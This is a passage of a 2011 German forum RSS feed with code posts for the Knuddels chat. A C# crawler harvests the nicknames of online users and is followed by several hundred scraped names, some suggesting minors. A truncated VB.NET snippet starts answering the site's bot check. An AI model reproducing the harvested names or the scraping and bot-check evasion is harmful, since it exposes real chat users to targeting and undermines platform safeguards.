&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (len &lt; 128) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length = new byte[] { (byte) len };<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int count = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (32 &lt;&lt; (count + 1 &lt;&lt; 3) &lt;= len) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length = new byte[count + 1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length[0] = (byte) (count &lt;&lt; 5 | 0x80 | len &amp; 0x1F);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 1; i &lt; length.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length[i] = (byte) (len &gt;&gt;&gt; 8 * (i - 1) + 5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer = new byte[length.length + bytes.length];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(length, 0, buffer, 0, length.length);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(bytes, 0, buffer, length.length, bytes.length);</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/paketlaenge-lesen-schreiben-31877</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Knuddels Online Nicks Crawler]]></title>
			<link>sourcecode-91/c-knuddels-online-nicks-crawler-31509?goto=newpost</link>
			<pubDate>Mon, 25 Jul 2011 17:40:49 GMT</pubDate>
			<description>Hi, 
 
ich habe neulich folgende URL entdeckt: Chat - Knuddels.de (http://www.knuddels.de/welcome.html) 
 
Dort werden jedes Mal per Zufall vier User...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
ich habe neulich folgende URL entdeckt: <a href="http://www.knuddels.de/welcome.html" target="_blank" rel="nofollow">Chat - Knuddels.de</a><br />
<br />
Dort werden jedes Mal per Zufall vier User aufgelistet, die <b>online</b> sind.<br />
Ja, dazu mal ein Crawler in C#:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using System.Net;<br />
using System.Text.RegularExpressions;<br />
using System.IO;<br />
<br />
namespace Knoedels_Nick_Crawler<br />
{<br />
    class Program<br />
    {<br />
        static void Main(string&#91;&#93; args)<br />
        {<br />
            Console.Write(&quot;Anzahl: &quot;);<br />
<br />
            int count;<br />
            while (!int.TryParse(Console.ReadLine(), out count))<br />
                Console.Write(&quot;Anzahl: &quot;);<br />
<br />
            Console.WriteLine(&quot;Drücke Enter, um den Vorgang zu starten!&quot;);<br />
            Console.ReadLine();<br />
<br />
            List&lt;String&gt; crawledNicks = new List&lt;String&gt;();<br />
<br />
            int counter = 0;<br />
            while (counter &lt; count)<br />
            {<br />
                String&#91;&#93; nicks = getNicks();<br />
<br />
                foreach (String nick in nicks)<br />
                {<br />
                    if (counter == count)<br />
                        break;<br />
<br />
                    if (!crawledNicks.Contains(nick))<br />
                    {<br />
                        counter++;<br />
                        Console.ForegroundColor = ConsoleColor.Green;<br />
                        Console.WriteLine(&quot;&#91;{0}&#93; Crawled: '{1}'&quot;, new Object&#91;&#93; { counter, nick });<br />
                        crawledNicks.Add(nick);<br />
                    }<br />
                    else<br />
                    {<br />
                        Console.ForegroundColor = ConsoleColor.Red;<br />
                        Console.WriteLine(&quot;{0} ist bereits auf der Liste, es geht weiter!&quot;, nick);<br />
                    }<br />
                }<br />
<br />
            }<br />
<br />
            Console.ForegroundColor = ConsoleColor.Gray;<br />
            Console.Write(&quot;Speichern? (Y/N): &quot;);<br />
<br />
            char n;<br />
            while (!char.TryParse(Console.ReadLine().ToLower(), out n))<br />
                Console.Write(&quot;Speichern? (Y/N): &quot;);<br />
<br />
            if (n.Equals('y'))<br />
            {<br />
                File.WriteAllLines(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + String.Format(&quot;\\crawled {0}.txt&quot;, DateTime.Now.ToLongTimeString().Replace(&quot;:&quot;, &quot;-&quot;)), crawledNicks.ToArray());<br />
                Console.WriteLine(&quot;Gespeichert.&quot;);<br />
            }<br />
<br />
            Console.WriteLine(&quot;Drücke Enter, um die Konsole zu schließen...&quot;);<br />
            Console.ReadLine();<br />
<br />
        }<br />
<br />
        static String&#91;&#93; getNicks()<br />
        {<br />
            String&#91;&#93; nicks = new String&#91;4&#93;;<br />
<br />
            String content = new WebClient() { Encoding = Encoding.UTF8 }.DownloadString(&quot;http://www.knuddels.de/welcome.html&quot;);<br />
            MatchCollection matches = Regex.Matches(content, &quot;title=&quot;\\s(?&lt;nick&gt;(&#91;^\\)&#93;+)) \\((?&lt;channel&gt;(&#91;^\\)&#93;+))\\)\\s&quot; /&gt;&quot;);<br />
<br />
            // Channel könnt ihr noch weiter verwerten, falls ihr wollt...<br />
<br />
            for (int i = 0; i &lt; 4; i++)<br />
                nicks&#91;i&#93; = matches&#91;i&#93;.Groups&#91;&quot;nick&quot;&#93;.Value;<br />
<br />
            return nicks;<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Ein Example:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
Crawled Nicks by Brainy<br />
<br />
hottiecutie17<br />
Raven in the Dark<br />
BrokenInLoves<br />
lavidaloca19<br />
NiceMe86<br />
kokoju<br />
arabella03<br />
Anubis-FT<br />
loveharmonie<br />
hanspöcker<br />
Veilchen1<br />
Baticore<br />
dame18<br />
Underworld Generation<br />
Medallion<br />
bad-boy93xx<br />
20-HipHop&gt;Babe&lt;<br />
Meister16<br />
wind23<br />
levboy1987<br />
kleine gestörte<br />
Vier<br />
mickymaus2312<br />
t-rex187<br />
eLinaa<br />
phr34k@w0rk<br />
Icegoerl<br />
Cloven<br />
mausi xP<br />
TB-anDii<br />
Zickige1961<br />
Hyrrycane<br />
Angiie 17 &lt;3<br />
DaMadi<br />
Bafi<br />
kraule<br />
Xxklene MausxX123<br />
musiker91<br />
Aschenputtel7<br />
xImp4cTx<br />
x Hannah Ya &lt;3<br />
PlutoXX<br />
fitschi18<br />
macbest10<br />
erste liebe 123<br />
feat Tony<br />
EinsameHeidi<br />
kikbox<br />
littlecindy14<br />
Bernd-57<br />
BJPrinceSS<br />
apphia strike92<br />
Sandra-20-do<br />
xSaMpLeRx<br />
Schlange 60<br />
Mr Freeman<br />
sabrina ina<br />
x T 0 A S T B R 0 T &lt;3 x<br />
GroßeSandyHexe<br />
smashed into<br />
Blubber xD<br />
Mannequin<br />
Teuflisch Nette<br />
erlenhof<br />
Il Tesoro<br />
sweet-michi18<br />
laura lustig<br />
lets play games<br />
Evangeline Athanasia<br />
benster90<br />
neti1<br />
Ihr Schatzii &lt;3<br />
Moonstär<br />
oO-Wo-Oo<br />
kriegdiekrise56<br />
DonnerMicha<br />
XxVannieHxX<br />
Klein Emil<br />
karrygirl<br />
chiller 123455<br />
Kisumi<br />
eron aka elon<br />
nightshine<br />
Scooter86<br />
Küstengirl<br />
Glücksbärchen1000<br />
ImYaBebi<br />
sometimeshope<br />
xx my enqel xx<br />
giftgrüner drache<br />
require<br />
33eminem33<br />
bass box crew09<br />
Red1ce<br />
ich lieb den dj<br />
blood-ice<br />
Finysch@<br />
zeus01<br />
girlbushido20<br />
Beeachboy<br />
Because I love u<br />
Schlappohr68<br />
Plüschi1989<br />
chillboy942007<br />
Hunny Bunny16<br />
charly3010<br />
JennyIgelchen<br />
lolli1995<br />
I Love NY Oo<br />
Bl4ck-T1ger<br />
Porkys Blondy<br />
Marceli@Marceli<br />
Brownii Barbiie<br />
DJ-Soundjunky<br />
Dropsi48<br />
Benny<br />
Schokii95<br />
Hyron<br />
Lilox2<br />
ChillBoy95<br />
x Lose Control<br />
niklas09<br />
Hexe nrw<br />
YaQiSiKLi<br />
knuddelfreundin1996<br />
eddersheimer<br />
K2-136<br />
psddx<br />
x A D ii D A A S &lt;3<br />
Netter-45<br />
Miss Lady in Red91<br />
sweetmarvin<br />
ToxicGirlXL<br />
Lappster57<br />
Black-Angel 123<br />
We Love You FC &lt;3<br />
Black Soul of Dragon<br />
PartyRock15<br />
Sonne58<br />
sexy mafia junge<br />
ß 3 N Z 3 R S ii Z &lt;3<br />
mike412<br />
r4yn3<br />
d@vid@ff<br />
FranzymauzZ<br />
pius1<br />
Kungfu1212<br />
Kadir Webdesign 2<br />
DarkLadyHexeSFA<br />
böserjunge55<br />
stephanie65<br />
Crazyhuskie<br />
lovegirlie<br />
rappelkopp<br />
süüserjunge24schatz<br />
VW Freak &lt;3<br />
LuXusBaby95<br />
deralteanwalt<br />
marlina1988<br />
hepppaa<br />
Julia feat Jenna<br />
maenne59a<br />
SternenRegen1000<br />
Streetsoccerdeluxe<br />
odk-dani<br />
schalke04-66<br />
MixerysBaby<br />
CoolboyxD<br />
Balg<br />
dannys14<br />
Angelinebaby<br />
Blackmann15<br />
drive in your dreams<br />
zytrone<br />
schwarzetasse<br />
Cute-boy1990q<br />
hamburg 4 ever<br />
Podolski268<br />
daselsken<br />
muay thai kämpfer<br />
hasi mausi 1234<br />
x Priinz Chris &lt;3<br />
flockline<br />
thrice<br />
x O8 O8 2O1O<br />
StfN<br />
Träumerle64<br />
Hitch<br />
KivaRD18<br />
Olli goes to NewYork<br />
Blackwomman<br />
sunnyboydd<br />
ms foxx<br />
patriotic<br />
petraw56<br />
The Hollywood Hank<br />
Lenüü<br />
wolfgang50<br />
Die-Süße-16-w<br />
Dr Deisi<br />
NiceGirlNRW18<br />
strassenpirat<br />
kdebe<br />
kalaitzidis<br />
player-bunny no1<br />
kleeblatt1904<br />
gaiba1<br />
darkcut<br />
Christina1994<br />
kaffee02<br />
bAbyluv1987<br />
chakusa mehl<br />
bier kutte alice<br />
styla-karip<br />
Pyjama Ziecke 2009<br />
Pinboy90<br />
xx knuddelgirl<br />
baronvon<br />
Yo quiero perderte<br />
dasisteinaccount<br />
pfalzgirl<br />
Rollerrocker 2<br />
Liebe Oma 64<br />
Punky955<br />
migaja<br />
Matzimilian<br />
Pluto 18<br />
StarbreakerAD<br />
Princesa &lt;333<br />
Sounds4Ever<br />
Tizona1<br />
timo bvb<br />
SexyPartyMaus91<br />
ichbinfrei000123<br />
blonderengel 1990<br />
Heavy Boy1991<br />
xXBaBiiEXx<br />
Boronsrabe<br />
kleinefreche1957<br />
Rey7 G-star<br />
Mariii15<br />
eichi 60<br />
rose1110<br />
Küsschen2<br />
einhornkönigin<br />
JinMaster<br />
Aylas Tal<br />
xXBambinoXx<br />
verena goes to toastbrot<br />
FCBayern-Man1<br />
SweetieMD<br />
krieger17<br />
Suezze Italygirli<br />
wer ist eigendlich paul<br />
Hannover Indians<br />
LiLNick1994<br />
Dying Soul<br />
BVB09FAN2010<br />
x 17-1O-2OO9 &lt;33<br />
capt sandwich<br />
she likes boys<br />
zombieguitareater<br />
Nette60<br />
Ercan the 7th<br />
lonlylovegirl13<br />
Stevey91<br />
süsser skorpion51<br />
dreamcatcher16<br />
auricia<br />
Der Manuu<br />
glücksstern09<br />
sTu-BaNaNa-FrEaK<br />
hase12345678<br />
SaMsUnG MaRs 22<br />
sturm-der-liebe2009<br />
mr bicmac<br />
Ishar<br />
Robert999<br />
ladyinblack53<br />
psyscho20<br />
Novembernacht w 19<br />
partykönig16<br />
Wolken Mobil<br />
Patte21<br />
BabyKüken in Love<br />
großartig<br />
beyenburg<br />
Downstait<br />
krissyhuu<br />
Harry Bo<br />
Shari27<br />
nfdv<br />
BabyLovegirlsweet<br />
Heart of Steel<br />
Schwarzegier<br />
FlowHilton<br />
katy the cat<br />
siesta64<br />
technobunny19<br />
gangster-wangsterboy147<br />
x LiL Lischen x3<br />
Ela @ 91<br />
daniel130396<br />
SüsseBiene005<br />
speedy31364<br />
win86<br />
Casino Teufel<br />
Meerblume<br />
clooown<br />
süssemaus 49<br />
M4tzski<br />
KleinerSchatz 1319<br />
Billi150<br />
Unbuntstift<br />
f4stcrashx3<br />
Alina BlaBla<br />
AstraKaRo<br />
xxv<br />
Falk frisst Erdbeeren<br />
schneeflöckchen2211<br />
trinikel<br />
atimaus<br />
soulzero<br />
Kuscheltigga<br />
andreasfiedler13456789<br />
Hase1946<br />
Sachsenhausener<br />
Alice1983<br />
Xxo Bushido oxX<br />
4-1=3<br />
Luke the Rat<br />
Auxo<br />
DMX BloodLine<br />
geli<br />
Tank<br />
I Love Schokii &lt;3<br />
nando 1990<br />
blackdragon@666<br />
Timosonnenbrille<br />
moony002<br />
The NoBo<br />
tussy 02<br />
alexoomay<br />
Girl414<br />
xXsushl87Xx<br />
itallianoo<br />
sweetkiss61<br />
Deaq90<br />
Mausi1959<br />
HitWhile<br />
Pilgrim1987<br />
wwe fan 1993<br />
mickey1964<br />
D Flames<br />
babyengel25<br />
DIZ-player<br />
Funkyms20<br />
ToasTy-giirL<br />
x DrEaM GiiRL x3<br />
FußbaLL-StyLa &lt;3<br />
Bloodylady666<br />
kardfahrer<br />
87-BuNnY-05<br />
Basti3211123<br />
Simoenchen x3<br />
seewolf56<br />
primaballerina91<br />
x Legende &lt;3<br />
ninarwe1907<br />
Student21<br />
Indah<br />
x Usher &lt;3<br />
Lady undecover<br />
DJ Tobii &lt;3<br />
welpe2009<br />
eniis92<br />
Laber nicht du Ente<br />
knuffelkönig<br />
Daiki-kun<br />
1908naddel<br />
moron brother<br />
hellsing11<br />
xX Kuschel Wuschel Xx<br />
karin naruto13<br />
pictodane<br />
Geisterstunde<br />
Mazda1993<br />
lafee fan 4-ever<br />
MaBä15<br />
Mama-Sucht<br />
basti2314<br />
süße kleine mausi987<br />
fischer05<br />
FreeeakyLikkkeMe<br />
baad123<br />
Bebik<br />
mueller milch body<br />
x Real ++ Styler &lt;<br />
leni53<br />
kukuku30<br />
DaniSch20<br />
MoH-Gabber OB<br />
SaLi<br />
bigbike<br />
Some Feelings&lt;3<br />
my mum made me<br />
xoxo anna xoxo<br />
xPatrick1988x<br />
GonzoMaus<br />
Partycrew kleve<br />
x giina &lt;3<br />
m-a-r-c-i-14 beta<br />
boys to LA<br />
Engelskuss744<br />
Powerpac<br />
Rebecca56<br />
pro hks<br />
Croatiannexttopmodell<br />
Haitham<br />
only I<br />
FG-1Janus<br />
DatMädchen<br />
Citykid<br />
BeateB1965<br />
19Loverboy90<br />
goldträne<br />
Manfred at flirt<br />
Charmed01<br />
boy on the wall<br />
SweeT-Mausi 1o1<br />
seepferdchen 07<br />
sabrina ru<br />
klangfarbe<br />
jacky V d<br />
Die Ärzt3<br />
monika760<br />
Troyaner96<br />
cooleaushamburg<br />
handballer96<br />
Trow<br />
Sheriko<br />
Lord Voldemort-Tom Riddle2<br />
kragenbärli<br />
Frank1990<br />
Supergyrl06<br />
traeumer1<br />
50CentLady14<br />
Floeli Mag Keksi<br />
Entchen-29<br />
Kevin11000<br />
Tipps Tricks<br />
CallyCallyCally<br />
astroliner<br />
zwerg1900<br />
herz brecher91<br />
Dizsi<br />
jimmy1959<br />
gebrochenes herz<br />
boy aus DDORF15<br />
SunnY LadY 96<br />
ichunddu52<br />
düsseldorferin 20023<br />
ButterFly Mann-2009<br />
x Kim - &lt;3<br />
Oni Soki<br />
yelo<br />
joness97<br />
Hizaki &lt;3<br />
tabaluga418<br />
styla-girl&gt;mh&lt;<br />
3&gt; D e n n i s &lt;3<br />
Pinkstift<br />
SB89<br />
19sabine66<br />
Styl0o187<br />
Devil@Angel43<br />
swissman5<br />
Darklady87<br />
werder ist back<br />
lueki x3<br />
masolo<br />
brooke42<br />
Wundi 18<br />
Core-Miietze<br />
xTi Amorx<br />
Fränzy16<br />
ichheee<br />
XXknuddelGirl199200X<br />
halligalli1601<br />
ShiishaTraubeMinze<br />
Batman 4 ever<br />
Tha0-<br />
XxstarangelxX<br />
jacksaw<br />
red candle 12<br />
PsychoBill<br />
CaSSyFinA<br />
my-jogi<br />
eriskay123<br />
Wolli1503<br />
diddellina 18<br />
Blacksoldier19<br />
SchnitzelOfPain<br />
mathiasx3<br />
schmusebaerin1<br />
big mammut 1987<br />
merve-008 &lt;3<br />
kaulquappe 47<br />
magnolie1983<br />
Krawal<br />
x Jenniy - &lt;33<br />
Papa-Beär47<br />
Mitze19<br />
renncookie<br />
NutellaToast =D<br />
greenflasch<br />
maya52<br />
Jeschke-9<br />
lisabund93<br />
Carsten086<br />
bayala<br />
juanmi<br />
derkracky2<br />
M A X i i K i N G x3<br />
Bj 48 gut erhalten<br />
Süßer Kerl 91<br />
MilleMaus1002<br />
BibabutzeKerl<br />
feuerengel&lt;&lt;I<br />
CaptiveMind<br />
Music-Freak&lt;33<br />
Nico08031994<br />
herzblatt1243<br />
bastiNWM<br />
cinderella32<br />
white-astra23<br />
birgit09<br />
Mobsi04<br />
far away from here<br />
Melli die liebe<br />
Fluffels94<br />
00-schatz-00<br />
Daimyo40<br />
Sweety1475<br />
Darkviper4k<br />
iWould<br />
barneys farm<br />
CileMile<br />
Der Tighte<br />
coolmausi13<br />
after91<br />
gRoße KeKsE<br />
PersianGirl95<br />
Alucard0001<br />
nachtratte<br />
SüssaBoy<br />
DiianeLoveeYaa&lt;3<br />
The Noize Suppressor<br />
Florafee54<br />
Blueeye006<br />
ebend mal ich<br />
knuddelboy 07<br />
sauna moni<br />
stasko<br />
dottod<br />
1432-boy<br />
süsserengel@nrw<br />
Fegter17<br />
xXNuurDuuhXx<br />
Prince Andre<br />
Gladia<br />
Metalgear<br />
sexy-girl1988<br />
internatschueler<br />
bluelady014<br />
Xxmsnboy17xX<br />
Anilu<br />
Matthias1991<br />
luna1955<br />
SoLoBoy03-86<br />
essenermaus21<br />
Buddah<br />
mausimam<br />
feel like<br />
Ziemlich Zornig<br />
sehrlieb2011a<br />
Super Ullu<br />
ErklärbärDX<br />
cutie cookie<br />
19&gt;kevin-deluxe&lt;94<br />
theghostdämon4<br />
Charlin&lt;3<br />
True-Polska<br />
Carmen1959<br />
east coast boy 92<br />
ladyland208<br />
bärchen horst 53<br />
sexyhotchicken<br />
Monheimer1994<br />
süzze maus1994<br />
The Punisher84<br />
Erik Erdbeere<br />
Anna+Nicky&lt;3<br />
kleine alana<br />
Erwitte<br />
SkyVodka-<br />
marcaurel1<br />
Anja1189<br />
Dreamer1616<br />
Gagaface<br />
rudi iselin<br />
x BaBiieH &lt;3 x<br />
davinci92<br />
MeLi95<br />
McGiver-Hamburg<br />
Schattenfell08<br />
omgitzyourmum<br />
x U n e n d l i c h x<br />
Bartofax<br />
kuschelmaus422<br />
2 süße atzen vom lok<br />
len101<br />
Meik21@Hamm<br />
möhre38<br />
MrMiste<br />
Lisie15-3<br />
undergroundchiller<br />
pentahexe<br />
timmit6<br />
19guckmichan92<br />
Mannheimer15<br />
Liberation<br />
Süßelady1990<br />
Knuffelix<br />
Cool J<br />
Krümelmonster&lt;3<br />
Bumast<br />
love&lt;3tigger<br />
XxB@dBoyxX17<br />
Dir &amp; Mir x3<br />
big bad boss<br />
scherry<br />
karatekid91<br />
Määxxii<br />
einsammer achimer 11<br />
Miss Amargant<br />
hoffer17<br />
ai the anbu<br />
Playboy börny<br />
elfe408<br />
Helgelol<br />
Milli die große<br />
krid<br />
hallo oder wie oder was<br />
Domischaen<br />
Inex1<br />
morpheus668<br />
cine-cine<br />
Ktm525Sx<br />
Enqelchen 92 &lt;3<br />
superguenni<br />
kelnozz<br />
I x3 My Schatzilet<br />
montana01<br />
jacqueline 17 süß<br />
Final Fantasy x3<br />
tinaSl<br />
Micha@HH<br />
AMY 26<br />
FCB Boy 13<br />
Charly208<br />
lllCRiZTiANOlll<br />
tiger wommen<br />
PolskiSunnyboyGE<br />
Zuckerwattewolken<br />
Dr19House<br />
Alveole<br />
lucaschiller<br />
zickenelli2oo9<br />
Bollywood boy17<br />
ManoloBerlin<br />
lady for you 1995<br />
freyerfall<br />
Nokia5800ExpressMusik<br />
die-suesse17<br />
tricolore<br />
N + R - ich liebe dich &lt;3<br />
Engelsschein20<br />
Mace der Magier<br />
red-tevil<br />
BloodM19<br />
MamaMone86<br />
Ribery550<br />
nicht original bremer<br />
Kimber Henry<br />
Bastie89<br />
ballung<br />
Franzi11-10-1990<br />
sunnyboy044<br />
bernar<br />
coca cola mix<br />
MissPrinzess<br />
bremer@<br />
LittLeRomeo1<br />
marcel110194<br />
Sarah Virginia<br />
kleeenersüßer18<br />
xxluna2008xx<br />
Hectortroy<br />
chrissy1111<br />
EssenerCityGirl20<br />
salok<br />
lulu1986schwarz<br />
Eriboy91<br />
Butterfly95<br />
SolidS<br />
fruitshake<br />
Bucklicher-Daniel<br />
Löffelchens Löffel<br />
Marciboy 01<br />
Sakuras Song<br />
Thimm007<br />
LUC4y0<br />
partyvogel2008<br />
buggi57<br />
buffy0805<br />
dominiklove<br />
cutee sasii<br />
Wake<br />
Mauserlicht<br />
TiMoYoUkNoW<br />
krissy3107<br />
Shadow1091<br />
ich bin der dieter<br />
kittykatmausi<br />
susser schatz<br />
1Singlegirl13<br />
umzugskarton<br />
saurerapfel252<br />
lawman<br />
de Melliii &lt;3<br />
Execute92<br />
i Love you Manuel &lt;3<br />
28259iger<br />
Skatermaus0906<br />
To ja<br />
Mächtelt<br />
snookerman<br />
Misz Sunshayne<br />
Little Rambo 95<br />
x Spatz<br />
heinz52<br />
najna87<br />
needexe<br />
minimaus@bbg<br />
eckmeck<br />
toptussy<br />
x Marvin ++ Kathi x<br />
KiitzeLiiq-x3<br />
2knopf<br />
prizzma<br />
schokoladenmädchenx3<br />
peppertree<br />
Nemo48<br />
obblach<br />
OneAndOnly20<br />
Onomatopoesie<br />
sonnenschein-g<br />
Snyper Zero 89<br />
francesmaus2003<br />
süssermitca<br />
LordScath<br />
SweetSexySuperStar1<br />
TheGuilty<br />
Snowcat89<br />
x Unbesiegbar<br />
Nahlia Engel der Nächte<br />
FocusST87<br />
Lelouch Vi Brittania<br />
SscHaTz I LoVe YoU<br />
xxkleinerhaixx<br />
45 Devil 45<br />
Milkaatze123<br />
Essgeräusche<br />
Gott Enel 5<br />
flirtboy020<br />
hasipupsi95<br />
Eisfunken<br />
Xx Laubfrosch xX<br />
SEXYdaniel 4000<br />
LaSonadora<br />
süßerBOY3000<br />
süsse weisse rose<br />
ToOobiii19<br />
leseratte1995<br />
grinsebaer1984<br />
delphinerin<br />
philex<br />
Remausi<br />
Tao Bär<br />
Ariola<br />
LeHeSinto<br />
BebiiBär<br />
süßßerboy89<br />
nur dein herzchen bin<br />
sat526<br />
Buffy-Vampire Slayer<br />
Pascal201192<br />
die-coole-mutta<br />
Der Offizier33<br />
Spongebob007<br />
Snoozi<br />
erdnuckel652<br />
Kadgamala<br />
xxschnuffel89xx<br />
Seqqer Manqeen<br />
Kleene Silke<br />
messi58<br />
jeZZy<br />
polodriver22<br />
blnstern<br />
Most Wandet<br />
MichiSuperwoman<br />
msv4<br />
arab1<br />
Puschel-Polle&lt;3<br />
Philippchen83<br />
pbc primus<br />
its mille<br />
dauerkämpfer25<br />
rockgranate<br />
Jannes194<br />
eve 320<br />
hamburger tigger 20<br />
bravisima49<br />
Death Angel aus le 8<br />
best frends for ever<br />
Abenteurer1<br />
blue-ice-angle<br />
moin Fabian<br />
F r e a k ii L ii C o u z<br />
mixeryM112<br />
Perle5<br />
SchokoladenBoy<br />
sheshe&lt;3<br />
Pasi14<br />
leika58<br />
z111<br />
Frau Bohne<br />
Active-Boy<br />
susi64<br />
Bull111984<br />
Sinikka<br />
maha91<br />
StuttgartBoy22<br />
kLeiines SommerMaedchen<br />
xX ADayToRemember Xx<br />
Bananaz<br />
Rügenteufellienchen<br />
GoldKette1992<br />
Süße Blondie 1963<br />
To The Stars<br />
Theresamaus15<br />
bluejeanstyp<br />
MeinHerzErkenntDichImmer<br />
KoeLsche Jeck x3<br />
LichtAusBieneAn<br />
Master of magic Melodies<br />
Mfresh<br />
Lady Amane<br />
tomtom2009<br />
Emperor of The Cold Wastes<br />
Ehhhy x<br />
quiqe<br />
Papis Liebling<br />
scenes<br />
dosia12<br />
mondig<br />
Scoutreflex<br />
Irland Maus<br />
Buck<br />
dennis der singleboy<br />
Annachen &lt;3<br />
Hen18<br />
reedy<br />
huhuboy<br />
liLchica 1000<br />
Waterboy90<br />
Parcon<br />
bubuu<br />
Linda14<br />
BullyRick1995<br />
schokosüss<br />
Endstille1990<br />
Schlangen Mädchen<br />
G4bsTyLe Generation Cut<br />
RossiGE1960<br />
lünder222<br />
Einfach Einzigartig<br />
Maus KS<br />
Orobas Dark Claw<br />
Mamiisqiirl&lt;3<br />
timmy57<br />
shneezinperle<br />
The king of the Darkniss<br />
Sabelina<br />
fussballstar93<br />
anape<br />
oOo Real Love oOo<br />
Druckbetankung<br />
Kevin@CooL<br />
pippilangstrumpf44<br />
Klose18<br />
Artemis-chan<br />
Tb-KoSi<br />
Spatzi46<br />
X John Cena - World Life X<br />
MehleLoves<br />
super süsser junge<br />
Geew<br />
Zicke von nebenan1988<br />
hsvipers<br />
selima09<br />
schoko4you<br />
joichnä<br />
SüzZezMädel<br />
Prion<br />
Stolze-Mamii&lt;3<br />
marc1706<br />
ostheimer44<br />
M@16<br />
Kfz-Mieze91<br />
John Cena schlag ringe<br />
sweetboiii<br />
SchnullaOpfa =D<br />
markusw1990<br />
13laackboy<br />
Miss Mannheim<br />
x luis valencia &lt;3<br />
xXMicroleaderxX<br />
svenne24<br />
roadster1411<br />
Eishörnchen<br />
Manuellö<br />
SunshineMausi16<br />
Eg0 Perfektion &lt;3<br />
Julian1987<br />
kiwi92<br />
Mias x3<br />
Descendant 3<br />
cheLLü<br />
conker91<br />
sonnenmeer<br />
Isondrias<br />
LoveMyABF<br />
BrokenHeart37<br />
xXengelchen93Xx<br />
joo19991<br />
BreeBreeChu<br />
hoootSixpack08<br />
karinmaus<br />
Chippy is Back<br />
dani--jena<br />
28-3-1994<br />
Quake1234<br />
Pinki89<br />
bigbeni<br />
maffschreck<br />
stiflersmam16<br />
Jasminchen91<br />
Rene151<br />
SteveNRWx<br />
I am unhappy<br />
Mornfinnel<br />
pascal5522<br />
x Lost ++ Hope &lt;l3 x<br />
Bouzy<br />
spinne1<br />
Simon-AryouHOT<br />
mella-maus99<br />
nichtsistfürdieewigkeit1<br />
mausihh111<br />
Aerox-Linux<br />
Leonie Superwoman ++ &lt;3<br />
Mc-Pate E-Hagen<br />
Maggi1098<br />
galajbl<br />
Lila-Weiß für immer<br />
g-life23<br />
süsse61<br />
sonik2<br />
SiLvErDeSertEagLe<br />
Wurfpizza01<br />
CLK1989<br />
KisaraMaro<br />
rosicky 2006<br />
Devil of duisburg<br />
Askeed<br />
Beeeabieeeh<br />
xxpensivexx<br />

</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-knuddels-online-nicks-crawler-31509</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] Botkontrolle beantworten]]></title>
			<link>sourcecode-91/vb-net-botkontrolle-beantworten-31409?goto=newpost</link>
			<pubDate>Mon, 25 Jul 2011 17:12:33 GMT</pubDate>
			<description><![CDATA[[highlight=VB] 
If token.StartsWith("r") Then 
            'Botkontrolle 
            If token.Contains("Überprüfung auf Bot-Benutzung") Then 
